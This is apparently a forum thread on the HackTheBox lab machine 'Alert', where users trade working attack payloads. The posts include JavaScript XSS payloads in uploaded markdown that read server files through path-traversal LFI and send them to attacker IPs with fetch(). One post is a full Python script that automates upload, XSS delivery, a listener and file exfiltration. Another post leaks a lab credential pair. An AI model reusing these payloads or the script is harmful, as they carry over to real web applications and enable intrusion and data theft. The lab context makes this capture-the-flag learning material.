[0nce]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

The payload doesnt work for me

---

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

This payload doesnt work for me

Me too, it doesn't work.

[FSHET]

create a md page that reads alert.htb then sends it to your localhost upload it and then click share in the bottom right. then in the contact page send them <img src="shared md page" /> you should get response of the homepage which you can see a messages page and can access that via the same method

<script>
fetch("http://alert.htb/index.php?page=messages")
.then(response => response.text()) // Convert the response to text
.then(data => {
fetch("http://<your host>/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script>

Can't figure out why I'm not getting anything after i submit the shared .md
(used the suggested <img src="shared md page" /> but nothing..).
the listener receives a request after uploading and sharing ...

Edit: nevermind ... silly me had the firewall block that port...

[wizarddos]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

The payload doesnt work for me

---

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

This payload doesnt work for me

Me too, it doesn't work.

They all work, you just need to use them correctly

[maggi]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

The payload doesnt work for me

---

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

This payload doesnt work for me

Me too, it doesn't work.

Add <script> up top.......

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.16.12/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

[xxoro]

create a md page that reads alert.htb then sends it to your localhost upload it and then click share in the bottom right. then in the contact page send them <img src="shared md page" /> you should get response of the homepage which you can see a messages page and can access that via the same method

<script>
  fetch("http://alert.htb/index.php?page=messages")
    .then(response => response.text()) // Convert the response to text
    .then(data => {     
      fetch("http://<your host>/?data=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

got a *.txt file, it's empty, i am missing something!!

[grisun0]

one command to user

Hidden Content

You must register or login to view this content.

---

create a md page that reads alert.htb then sends it to your localhost upload it and then click share in the bottom right. then in the contact page send them <img src="shared md page" /> you should get response of the homepage which you can see a messages page and can access that via the same method

<script>
  fetch("http://alert.htb/index.php?page=messages")
    .then(response => response.text()) // Convert the response to text
    .then(data => {     
      fetch("http://<your host>/?data=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

got a *.txt file, it's empty, i am missing something!!

Hey buddy, after creating your md file and hitting the share button, send a message through contacts by pasting the link to the shared md without the img tag, just the link, and it worked for me!

[xxoro]

one command to user

---

create a md page that reads alert.htb then sends it to your localhost upload it and then click share in the bottom right. then in the contact page send them <img src="shared md page" /> you should get response of the homepage which you can see a messages page and can access that via the same method

<script>
  fetch("http://alert.htb/index.php?page=messages")
    .then(response => response.text()) // Convert the response to text
    .then(data => {     
      fetch("http://<your host>/?data=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

got a *.txt file, it's empty, i am missing something!!

Hey buddy, after creating your md file and hitting the share button, send a message through contacts by pasting the link to the shared md without the img tag, just the link, and it worked for me!

gud!

[DoesntMatter123456]

JUmping on the bandwagon little late. Lets crack it

[hualpen]

albert:manchesterunited

root is so easy

[caccapuzza]

import  requests import http.server import bs4 import threading import queue import re import urllib.parse import os debug = False def decode_data_from_log(log_line):     # Extract the data parameter using regex     match = re.search(r'data=([^ ]+)', log_line)     if match:         encoded_data = match.group(1)         # URL decode the data         decoded_data = urllib.parse.unquote(encoded_data)         return decoded_data     else:         if debug:             print("[-] No data parameter found in the log.")         return False def upload_md(url, file):     files = {'file': open(file, 'rb')}     r = requests.post(url, files=files)     if r.status_code == 200:         return r.text     else:         return False def send_xss(url, data):     r = requests.post(url, data={'email': "mail@mail.com", 'message': data}, allow_redirects=False)     if debug:         print(r.status_code)     if r.status_code == 302:         return True     else:         return False def start_server(data_queue):     """     Starts an HTTP server that listens for GET requests and puts the 'data' parameter into the queue.         Args:         data_queue (queue.Queue): Queue to store the received data.     """     class RequestHandler(http.server.BaseHTTPRequestHandler):         def do_GET(self):             # Parse the URL to extract query parameters             parsed_path = urllib.parse.urlparse(self.path)             query_params = urllib.parse.parse_qs(parsed_path.query)             data = query_params.get('data', [None])[0]                         if data:                 data_queue.put(data)                 self.send_response(200)                 self.end_headers()                 self.wfile.write(b"Data received")             else:                 self.send_response(400)                 self.end_headers()                 self.wfile.write(b"No data parameter found")         def log_message(self, format, *args):             # Override to prevent console logging             return     server_address = ('0.0.0.0', 80)  # Listen on all interfaces, port 80     httpd = http.server.HTTPServer(server_address, RequestHandler)     httpd.serve_forever() def main(data_queue):     base_url = "http://alert.htb/"     upload_md_url = base_url + "/visualizer.php"     file = "test.md"     path_to_get = str(input("Enter the path to the file you want to read: "))     with open(file, "w") as f:         f.write(f"""<script>                 fetch("http://alert.htb/messages.php?file=../../../../../../../../../..{path_to_get}")                 .then(response => response.text()) // Convert the response to text                 .then(data => {{                 fetch("http://10.10.16.38/?data=" + encodeURIComponent(data));                 }})                 .catch(error => console.error("Error fetching the messages:", error));                 </script>                 """)     uploaded_md = upload_md(upload_md_url, file)     if uploaded_md:         if debug:             print(uploaded_md)     else:         if debug:             print("Upload failed")         return         # get the ancor tag from the response     # <a href="visualizations/test.md">test.md</a>     soup = bs4.BeautifulSoup(uploaded_md, "html.parser")     a_tag = soup.find("a")     if not a_tag:         if debug:             print("[-] No anchor tag found")             return     link_to_send = a_tag["href"]     if debug:         print(link_to_send)     # send the link to the xss     contact_url = base_url + "/contact.php"         # run asyncronous server to get the data:             # check if the server is running     get_open_server_port = os.popen("ss -tulnp | grep 0.0.0.0:80").read()     if "tcp" in get_open_server_port:         if debug:             print(" [*]Server is already running")     else:         try:             server_thread = threading.Thread(target=start_server, args=(data_queue,), daemon=True)         except Exception as e:             pass         if debug:             print(" [*]Starting server")         server_thread.start()     if send_xss(contact_url, link_to_send):         if debug:             print(" [*]XSS sent")     else:         if debug:             print("[-] XSS failed")         return     try:         received_data = data_queue.get(timeout=15)  # Wait up to 60 seconds         if received_data:             received_data = received_data.replace("<pre>", "")             received_data = received_data.replace("</pre>", "")             print(f" [*]Received data:\n{received_data}")             return received_data     except queue.Empty:         if debug:             print("[-] No data received from the server.")     # read the data from the server     return     if __name__ == "__main__":     data_queue = queue.Queue()     while True:         main(data_queue)

This is a small snippet of code to automate the LFI, you need to insert the absolute path like: /etc/passwd